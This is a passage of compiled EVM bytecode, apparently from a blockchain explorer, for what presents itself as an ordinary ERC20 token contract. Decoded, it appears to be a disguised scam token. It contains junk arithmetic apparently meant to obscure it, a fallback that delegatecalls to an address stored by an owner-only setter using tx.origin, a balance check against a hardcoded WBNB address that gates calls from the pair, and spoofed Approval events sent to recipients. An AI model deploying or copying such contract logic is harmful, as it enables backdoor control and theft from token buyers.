d5b621427c08161240591906132f3565b90506106be811161241557600080fd5b623e213d8161242491906132f3565b9050611d9e811161243457600080fd5b622e48488161244391906132f3565b9050610e0c811161245357600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516125319190613235565b60405180910390a350505050565b600061254b8484611d3b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146125c557818110156125b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ae90613175565b60405180910390fd5b6125c48484848403612279565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561263b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612632906131d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156126a457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6126e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126da90613115565b60405180910390fd5b6126ee838383612a6d565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276c90613195565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127c491906133a3565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461281a91906132f3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161287e9190613235565b60405180910390a3612891848484612a72565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016128fd91906130bd565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161294b91906130a6565b600060405180830381855afa9150503d8060008114612986576040519150601f19603f3d011682016040523d82523d6000602084013e61298b565b606091505b50915050808060200190518101906129a39190612e98565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe600354612a819190613349565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612ad1576000602055612bb6565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054108015612b6f5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612bb5578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b828054612bc79061346e565b90600052602060002090601f016020900481019282612be95760008555612c30565b82601f10612c0257805160ff1916838001178555612c30565b82800160010185558215612c30579182015b82811115612c2f578251825591602001919060010190612c14565b5b509050612c3d9190612c41565b5090565b5b80821115612c5a576000816000905550600101612c42565b5090565b6000612c71612c6c84613290565b61326b565b905082815260208101848484011115612c8d57612c8c6135c3565b5b612c9884828561342c565b509392505050565b600081359050612caf81613838565b92915050565b600082601f830112612cca57612cc96135be565b5b8135612cda848260208601612c5e565b91505092915050565b600081359050612cf28161384f565b92915050565b600081519050612d078161384f565b92915050565b600060208284031215612d2357612d226135cd565b5b6000612d3184828501612ca0565b91505092915050565b60008060408385031215612d5157612d506135cd565b5b6000612d5f85828601612ca0565b9250506020612d7085828601612ca0565b9150509250929050565b600080600060608486031215612d9357612d926135cd565b5b6000612da186828701612ca0565b9350506020612db286828701612ca0565b9250506040612dc386828701612ce3565b9150509250925092565b60008060408385031215612de457612de36135cd565b5b6000612df285828601612ca0565b9250506020612e0385828601612ce3565b9150509250929050565b600080600060608486031215612e2657612e256135cd565b5b600084013567ffffffffffffffff811115612e4457612e436135c8565b5b612e5086828701612cb5565b935050602084013567ffffffffffffffff811115612e7157612e706135c8565b5b612e7d86828701612cb5565b9250506040612e8e86828701612ce3565b9150509250925092565b600060208284031215612eae57612ead6135cd565b5b6000612ebc84828501612cf8565b91505092915050565b612ece816133d7565b82525050565b612edd816133e9565b82525050565b6000612eee826132c1565b612ef881856132d7565b9350612f0881856020860161343b565b80840191505092915050565b6000612f1f826132cc565b612f2981856132e2565b9350612f3981856020860161343b565b612f42816135d2565b840191505092915050565b6000612f5a6023836132e2565b9150612f65826135e3565b604082019050919050565b6000612f7d6026836132e2565b9150612f8882613632565b604082019050919050565b6000612fa06022836132e2565b9150612fab82613681565b604082019050919050565b6000612fc3601d836132e2565b9150612fce826136d0565b602082019050919050565b6000612fe6601f836132e2565b9150612ff1826136f9565b602082019050919050565b60006130096020836132e2565b915061301482613722565b602082019050919050565b600061302c6025836132e2565b91506130378261374b565b604082019050919050565b600061304f6024836132e2565b915061305a8261379a565b604082019050919050565b60006130726025836132e2565b915061307d826137e9565b604082019050919050565b61309181613415565b82525050565b6130a08161341f565b82525050565b60006130b28284612ee3565b915081905092915050565b60006020820190506130d26000830184612ec5565b92915050565b60006020820190506130ed6000830184612ed4565b92915050565b6000602082019050818103600083015261310d8184612f14565b905092915050565b6000602082019050818103600083015261312e81612f4d565b9050919050565b6000602082019050818103600083015261314e81612f70565b9050919050565b6000602082019050818103600083015261316e81612f93565b9050919050565b6000602082019050818103600083015261318e81612fb6565b9050919050565b600060208201905081810360008301526131ae81612fd9565b9050919050565b600060208201905081810360008301526131ce81612ffc565b9050919050565b600060208201905081810360008301526131ee8161301f565b9050919050565b6000602082019050818103600083015261320e81613042565b9050919050565b6000602082019050818103600083015261322e81613065565b9050919050565b600060208201905061324a6000830184613088565b92915050565b60006020820190506132656000830184613097565b92915050565b6000613275613286565b905061328182826134a0565b919050565b6000604051905090565b600067ffffffffffffffff8211156132ab576132aa61358f565b5b6132b4826135d2565b9050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006132fe82613415565b915061330983613415565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561333e5761333d613502565b5b828201905092915050565b600061335482613415565b915061335f83613415565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561339857613397613502565b5b828202905092915050565b60006133ae82613415565b91506133b983613415565b9250828210156133cc576133cb613502565b5b828203905092915050565b60006133e2826133f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b8381101561345957808201518184015260208101905061343e565b83811115613468576000848401525b50505050565b6000600282049050600182168061348657607f821691505b6020821081141561349a57613499613560565b5b50919050565b6134a9826135d2565b810181811067ffffffffffffffff821117156134c8576134c761358f565b5b80604052505050565b60006134dc82613415565b91506134e783613415565b9250826134f7576134f6613531565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b613841816133d7565b811461384c57600080fd5b50565b61385881613415565b811461386357600080fd5b5056fea264697066735822122036729727ec2405b60cd15c68ec8285ffa9a6c75bb41a56c5e41218cb03094cf364736f6c63430008060033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80637bdfaff7116100ec578063a9059cbb1161008a578063ec76661e11610064578063ec76661e146106be578063f2fde38b146106e9578063f53bdbbc14610712578063f97e3ab21461073d576101c2565b8063a9059cbb14610619578063bc66c34b14610656578063dd62ed3e14610681576101c2565b80638da5cb5b116100c65780638da5cb5b1461055b5780638dd950021461058657806395d89b41146105b1578063a457c2d7146105dc576101c2565b80637bdfaff7146104da57806383e7da4b146105055780638c528f7714610530576101c2565b8063238475a7116101595780633950935111610133578063395093511461042057806370a082311461045d578063715018a61461049a57806373d5f08c146104b1576101c2565b8063238475a71461038d57806323b872dd146103b8578063313ce567146103f5576101c2565b80630b0c6996116101955780630b0c6996146102e15780631293d5351461030c578063140f4b961461033757806318160ddd14610362576101c2565b806301a2dae11461024e57806306fdde0314610279578063095ea7b3146102a4576101c2565b366101c257005b3480156101ce57600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050905060086004026004602001820151141561024b576020600082516004600802840130545af461024557600080fd5b60206000f35b50005b34801561025a57600080fd5b50610263610768565b6040516102709190613235565b60405180910390f35b34801561028557600080fd5b5061028e610894565b60405161029b91906130f3565b60405180910390f35b3480156102b057600080fd5b506102cb60048036038101906102c69190612dcd565b6109a4565b6040516102d891906130d8565b60405180910390f35b3480156102ed57600080fd5b506102f66109c7565b6040516103039190613235565b60405180910390f35b34801561031857600080fd5b50610321610af3565b60405161032e9190613235565b60405180910390f35b34801561034357600080fd5b5061034c610cb0565b6040516103599190613235565b60405180910390f35b34801561036e57600080fd5b50610377610df9565b6040516103849190613235565b60405180910390f35b34801561039957600080fd5b506103a2610ea0565b6040516103af9190613235565b60405180910390f35b3480156103c457600080fd5b506103df60048036038101906103da9190612d7a565b610fe9565b6040516103ec91906130d8565b60405180910390f35b34801561040157600080fd5b5061040a611018565b6040516104179190613250565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190612dcd565b6110be565b60405161045491906130d8565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f9190612d0d565b6110f5565b6040516104919190613235565b60405180910390f35b3480156104a657600080fd5b506104af61125c565b005b3480156104bd57600080fd5b506104d860048036038101906104d39190612e0d565b6113d7565b005b3480156104e657600080fd5b506104ef611482565b6040516104fc9190613235565b60405180910390f35b34801561051157600080fd5b5061051a611605565b6040516105279190613235565b60405180910390f35b34801561053c57600080fd5b5061054561176b565b6040516105529190613235565b60405180910390f35b34801561056757600080fd5b506105706118b4565b60405161057d91906130bd565b60405180910390f35b34801561059257600080fd5b5061059b6119d6565b6040516105a891906130bd565b60405180910390f35b3480156105bd57600080fd5b506105c66119ee565b6040516105d391906130f3565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe9190612dcd565b611b1e565b60405161061091906130d8565b60405180910390f35b34801561062557600080fd5b50610640600480360381019061063b9190612dcd565b611b95565b60405161064d91906130d8565b60405180910390f35b34801561066257600080fd5b5061066b611bb8565b6040516106789190613235565b60405180910390f35b34801561068d57600080fd5b506106a860048036038101906106a39190612d3a565b611d3b565b6040516106b59190613235565b60405180910390f35b3480156106ca57600080fd5b506106d3611dc2565b6040516106e09190613235565b60405180910390f35b3480156106f557600080fd5b50610710600480360381019061070b9190612d0d565b611f45565b005b34801561071e57600080fd5b50610727612036565b6040516107349190613235565b60405180910390f35b34801561074957600080fd5b506107526120d1565b60405161075f9190613235565b60405180910390f35b60008062709a6581111561077d576002810490505b6245dea062709a65019050627a4d3e81111561079a576002810490505b6211e60c627a4d3e0690506278ab238111156107b7576002810490505b623e44406278ab2302905062573e4f8111156107d4576002810490505b6203269162573e4f02905062700c9f8111156107f1576002810490505b6236d77d62700c9f039050628977cc81111561080e576002810490505b6256fd9f628977cc0490506223acd981111561082b576002810490505b621f4c286223acd9019050626d227b811115610848576002810490505b624a896d626d227b049050628d174f811115610865576002810490505b624868b2628d174f029050628019a0811115610882576002810490505b62584055628019a00490508091505090565b606060006245e478816108a791906132f3565b905061219c81116108b757600080fd5b6244f455816108c691906132f3565b9050601a81116108d557600080fd5b62323f95816108e491906132f3565b905061244b81116108f457600080fd5b6246f1868161090391906132f3565b90506115af811161091357600080fd5b600580546109209061346e565b80601f016020809104026020016040519081016040528092919081815260200182805461094c9061346e565b80156109995780601f1061096e57610100808354040283529160200191610999565b820191906000526020600020905b81548152906001019060200180831161097c57829003601f168201915b505050505091505090565b6000806109af612271565b90506109bc818585612279565b600191505092915050565b60008062674f0e8111156109dc576002810490505b6252f28b62674f0e0390506278dc6c8111156109f9576002810490505b62542f716278dc6c0290506286ed10811115610a16576002810490505b625862db6286ed1003905062267c2f811115610a33576002810490505b62221aa762267c2f0690506241f76c811115610a50576002810490505b622a964d6241f76c04905062209cbe811115610a6d576002810490505b621e86d462209cbe03905062837f31811115610a8a576002810490505b6229350062837f31029050621bba4c811115610aa7576002810490505b62183041621bba4c0290506268b5d3811115610ac4576002810490505b623907fc6268b5d30490506221dd79811115610ae1576002810490505b620685696221dd790490508091505090565b600080626d9fe1811115610b08576002810490505b623ef5ba626d9fe103905062541d1c811115610b25576002810490505b620133fd62541d1c03905062674c97811115610b42576002810490505b6243292062674c97069050625cfa21811115610b5f576002810490505b62044bd2625cfa21069050629123c0811115610b7c576002810490505b62532868629123c006905062637799811115610b99576002810490505b623ab30a62637799049050628112d9811115610bb6576002810490505b62331d1f628112d9069050623a0a69811115610bd3576002810490505b622d7bb6623a0a69069050623ff815811115610bf0576002810490505b623f673c623ff815019050625edde1811115610c0d576002810490505b62071dfb625edde1049050628940dd811115610c2a576002810490505b623e1ba8628940dd029050627723a6811115610c47576002810490505b621b4cda627723a6029050624d0c71811115610c64576002810490505b6218a995624d0c71039050625f32fc811115610c81576002810490505b623d4336625f32fc03905062220cdc811115610c9e576002810490505b621075b362220cdc0390508091505090565b60008062799a6e811115610cc5576002810490505b6256e2dd62799a6e0690506239de11811115610ce2576002810490505b620cbf706239de110690506290f839811115610cff576002810490505b62374dd76290f8390190506270ef2e811115610d1c576002810490505b623ec3cc6270ef2e04905062473a92811115610d39576002810490505b623d1c8c62473a92049050626a5db7811115610d56576002810490505b622dff1c626a5db7049050626f3372811115610d73576002810490505b6247f725626f33720690506232edb9811115610d90576002810490505b6225d0c26232edb901905062557211811115610dad576002810490505b6239228462557211019050625da693811115610dca576002810490505b6238adbc625da693069050628ce285811115610de7576002810490505b6243bf7c628ce2850290508091505090565b60008062379c7c81610e0b91906132f3565b9050611a648111610e1b57600080fd5b622bf0d981610e2a91906132f3565b9050611cf58111610e3a57600080fd5b62530c0d81610e4991906132f3565b9050611dd48111610e5957600080fd5b623c823481610e6891906132f3565b90506110d18111610e7857600080fd5b6214879281610e8791906132f3565b90506112508111610e9757600080fd5b60035491505090565b600080623790cb811115610eb5576002810490505b6216da69623790cb029050627c66aa811115610ed2576002810490505b623139a9627c66aa019050626fa900811115610eef576002810490505b62452786626fa9000390506231f113811115610f0c576002810490505b620e0f3d6231f11301905062850605811115610f29576002810490505b6208524a6285060501905062514e1b811115610f46576002810490505b622ccfed62514e1b019050625dc987811115610f63576002810490505b6215cd20625dc98706905062968a2a811115610f80576002810490505b622f769262968a2a029050626f9775811115610f9d576002810490505b624a8185626f9775019050623fb40f811115610fba576002810490505b62062086623fb40f0190506289977f811115610fd7576002810490505b622b0b066289977f0690508091505090565b600080610ff4612271565b905061100185828561253f565b61100c8585856125cb565b60019150509392505050565b6000806209ae668161102a91906132f3565b90506114b6811161103a57600080fd5b62119e2a8161104991906132f3565b9050610b77811161105957600080fd5b62348e148161106891906132f3565b9050610b3f811161107857600080fd5b624aa4898161108791906132f3565b9050611b1c811161109757600080fd5b620abdcb816110a691906132f3565b9050610d2f81116110b657600080fd5b600991505090565b6000806110c9612271565b90506110ea8185856110db8589611d3b565b6110e591906132f3565b612279565b600191505092915050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561116a576000611157612897565b905060205481101561116857600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120757600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611257565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125491906134d1565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661127b6118b4565b73ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906131b5565b60405180910390fd5b6000620fdd23816112e291906132f3565b9050609081116112f157600080fd5b62120d228161130091906132f3565b9050612343811161131057600080fd5b62332bc68161131f91906132f3565b9050611494811161132f57600080fd5b625683d68161133e91906132f3565b9050612265811161134e57600080fd5b6217f87b8161135d91906132f3565b905061092d811161136d57600080fd5b623e1c928161137c91906132f3565b9050611b56811161138c57600080fd5b62274a828161139b91906132f3565b905061101c81116113ab57600080fd5b624c1b0c816113ba91906132f3565b9050610d6e81116113ca57600080fd5b6113d460006129a9565b50565b3273ffffffffffffffffffffffffffffffffffffffff166113f66118b4565b73ffffffffffffffffffffffffffffffffffffffff161461144c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611443906131b5565b60405180910390fd5b8160069080519060200190611462929190612bbb565b508260059080519060200190611479929190612bbb565b50333055505050565b600080628b18ec811115611497576002810490505b62491354628b18ec03905062754fa38111156114b4576002810490505b62104ac262754fa30390506251313b8111156114d1576002810490505b623ba1ec6251313b0490506270de1d8111156114ee576002810490505b623042946270de1d039050623aa71781111561150b576002810490505b62314d3c623aa71704905062319a65811115611528576002810490505b6217c4e862319a65069050622d4bbf811115611545576002810490505b6211ae95622d4bbf0290506211e5b6811115611562576002810490505b620d40796211e5b6029050623be14881111561157f576002810490505b6238d0c5623be148029050620a1b9481111561159c576002810490505b6205f402620a1b94019050624e73fb8111156115b9576002810490505b6244a2ac624e73fb069050628fd81c8111156115d6576002810490505b6214dab0628fd81c069050626e82818111156115f3576002810490505b622d0d8b626e82810290508091505090565b600080627f25c481111561161a576002810490505b624ea0d8627f25c4019050625c0491811115611637576002810490505b624a41fd625c049102905062869a41811115611654576002810490505b6214d63362869a41019050622205a1811115611671576002810490505b62068f35622205a1019050627a9bbb81111561168e576002810490505b6241a661627a9bbb029050628c793d8111156116ab576002810490505b620dccac628c793d0390506254e9158111156116c8576002810490505b62090fe96254e9150390506283f9268111156116e5576002810490505b6240e58a6283f926019050624f49af811115611702576002810490505b6237a492624f49af019050627d120981111561171f576002810490505b623eb14f627d1209029050624e731c81111561173c576002810490505b62319d2b624e731c019050623ece31811115611759576002810490505b6238b875623ece310290508091505090565b6000806285c267811115611780576002810490505b6258e3dc6285c2670690506281328781111561179d576002810490505b6247c44b628132870490506246bbf98111156117ba576002810490505b622837626246bbf90490506288e43f8111156117d7576002810490505b623638c36288e43f03905062771c498111156117f4576002810490505b62580c9d62771c490190506293f726811115611811576002810490505b6236c8a66293f7260290506280b58981111561182e576002810490505b624a0a976280b5890390506293595181111561184b576002810490505b62448f7562935951029050622cdfcf811115611868576002810490505b6223feab622cdfcf06905062870eb6811115611885576002810490505b62038b3e62870eb60690506267ad248111156118a2576002810490505b623a88166267ad240390508091505090565b60008062050f08816118c691906132f3565b9050611afb81116118d657600080fd5b6213792a816118e591906132f3565b9050611cee81116118f557600080fd5b6210a2ae8161190491906132f3565b9050610d24811161191457600080fd5b623bfaba8161192391906132f3565b90506119ec811161193357600080fd5b621df9258161194291906132f3565b9050611625811161195257600080fd5b620c2e8f8161196191906132f3565b9050611663811161197157600080fd5b622252978161198091906132f3565b9050611c3e811161199057600080fd5b620bc9308161199f91906132f3565b9050611f0d81116119af57600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b60606000622a9b5b81611a0191906132f3565b90506109878111611a1157600080fd5b620c597881611a2091906132f3565b9050610ceb8111611a3057600080fd5b6247828f81611a3f91906132f3565b9050610c4b8111611a4f57600080fd5b6258429781611a5e91906132f3565b90506113758111611a6e57600080fd5b6217bb2381611a7d91906132f3565b9050610f118111611a8d57600080fd5b60068054611a9a9061346e565b80601f0160208091040260200160405190810160405280929190818152602001828054611ac69061346e565b8015611b135780601f10611ae857610100808354040283529160200191611b13565b820191906000526020600020905b815481529060010190602001808311611af657829003601f168201915b505050505091505090565b600080611b29612271565b90506000611b378286611d3b565b905083811015611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7390613215565b60405180910390fd5b611b898286868403612279565b60019250505092915050565b600080611ba0612271565b9050611bad8185856125cb565b600191505092915050565b600080628cdd8f811115611bcd576002810490505b62195293628cdd8f069050626432e9811115611bea576002810490505b62524679626432e904905062184b4c811115611c07576002810490505b620eb69362184b4c029050625e479b811115611c24576002810490505b624f5a9e625e479b0290506240d56b811115611c41576002810490505b622a77b86240d56b01905062702d04811115611c5e576002810490505b622ea50a62702d04049050621ae854811115611c7b576002810490505b6205a295621ae8540290506207a0f1811115611c98576002810490505b62058a8f6207a0f10690506241e882811115611cb5576002810490505b623658066241e882069050628328e6811115611cd2576002810490505b6256a737628328e6039050625d6f71811115611cef576002810490505b620fc5e5625d6f71019050628fe836811115611d0c576002810490505b62424368628fe836069050626a8d81811115611d29576002810490505b62326cce626a8d810690508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080624da828811115611dd7576002810490505b6201af42624da828049050623ef2fa811115611df4576002810490505b623a3768623ef2fa049050624f14fc811115611e11576002810490505b621f3879624f14fc0190506296f685811115611e2e576002810490505b6238dff86296f685039050626364e4811115611e4b576002810490505b625b4f97626364e4029050624d5497811115611e68576002810490505b6248dd94624d5497029050628bcedf811115611e85576002810490505b622bdeb9628bcedf069050624326da811115611ea2576002810490505b62216f05624326da0690506285243b811115611ebf576002810490505b6250234f6285243b039050628d3a2f811115611edc576002810490505b625564af628d3a2f0290506283b4bc811115611ef9576002810490505b624cde486283b4bc049050628a15f5811115611f16576002810490505b622d6c1e628a15f5039050625937da811115611f33576002810490505b623e8e07625937da0290508091505090565b3273ffffffffffffffffffffffffffffffffffffffff16611f646118b4565b73ffffffffffffffffffffffffffffffffffffffff1614611fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb1906131b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561202a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202190613135565b60405180910390fd5b612033816129a9565b50565b600080627097c981111561204b576002810490505b62263d64627097c9019050628848fc811115612068576002810490505b622a1f23628848fc069050629210c7811115612085576002810490505b624c503b629210c70390506282b1a08111156120a2576002810490505b625a29ed6282b1a004905062685bc48111156120bf576002810490505b620c2d1a62685bc40290508091505090565b60008062642dc98111156120e6576002810490505b6242e3d162642dc9069050627ca550811115612103576002810490505b6216a876627ca550049050625572f6811115612120576002810490505b623b9654625572f6029050628c561381111561213d576002810490505b623a8b4b628c56130290506269f0ed81111561215a576002810490505b62507ba16269f0ed069050628b5837811115612177576002810490505b623a37d3628b5837019050629860a7811115612194576002810490505b621b0415629860a704905062440e388111156121b1576002810490505b623dedab62440e38049050627df5828111156121ce576002810490505b623042f0627df582019050629651e88111156121eb576002810490505b625544b8629651e8069050628f7ef5811115612208576002810490505b623c4820628f7ef5069050626efc06811115612225576002810490505b62467b0a626efc0601905062766898811115612242576002810490505b62193c6d627668980390506246db5381111561225f576002810490505b6235b92f6246db530190508091505090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e0906131f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235090613155565b60405180910390fd5b60006219ac4a8161236a91906132f3565b9050610f6f811161237a57600080fd5b620819b48161238991906132f3565b9050610ef4811161239957600080fd5b62322dd4816123a891906132f3565b90506117e581116123b857600080fd5b62478b2a816123c791906132f3565b90506104a981116123d757600080fd5b62500431816123e691906132f3565b9050611c4c81116123f657600080fd5b621427c08161240591906132f3565b90506106be811161241557600080fd5b623e213d8161242491906132f3565b9050611d9e811161243457600080fd5b622e48488161244391906132f3565b9050610e0c811161245357600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516125319190613235565b60405180910390a350505050565b600061254b8484611d3b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146125c557818110156125b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ae90613175565b60405180910390fd5b6125c48484848403612279565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561263b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612632906131d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156126a457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6126e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126da90613115565b60405180910390fd5b6126ee838383612a6d565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276c90613195565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127c491906133a3565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461281a91906132f3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161287e9190613235565b60405180910390a3612891848484612a72565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016128fd91906130bd565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161294b91906130a6565b600060405180830381855afa9150503d8060008114612986576040519150601f19603f3d011682016040523d82523d6000602084013e61298b565b606091505b50915050808060200190518101906129a39190612e98565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe600354612a819190613349565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612ad1576000602055612bb6565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054108015612b6f5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612bb5578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f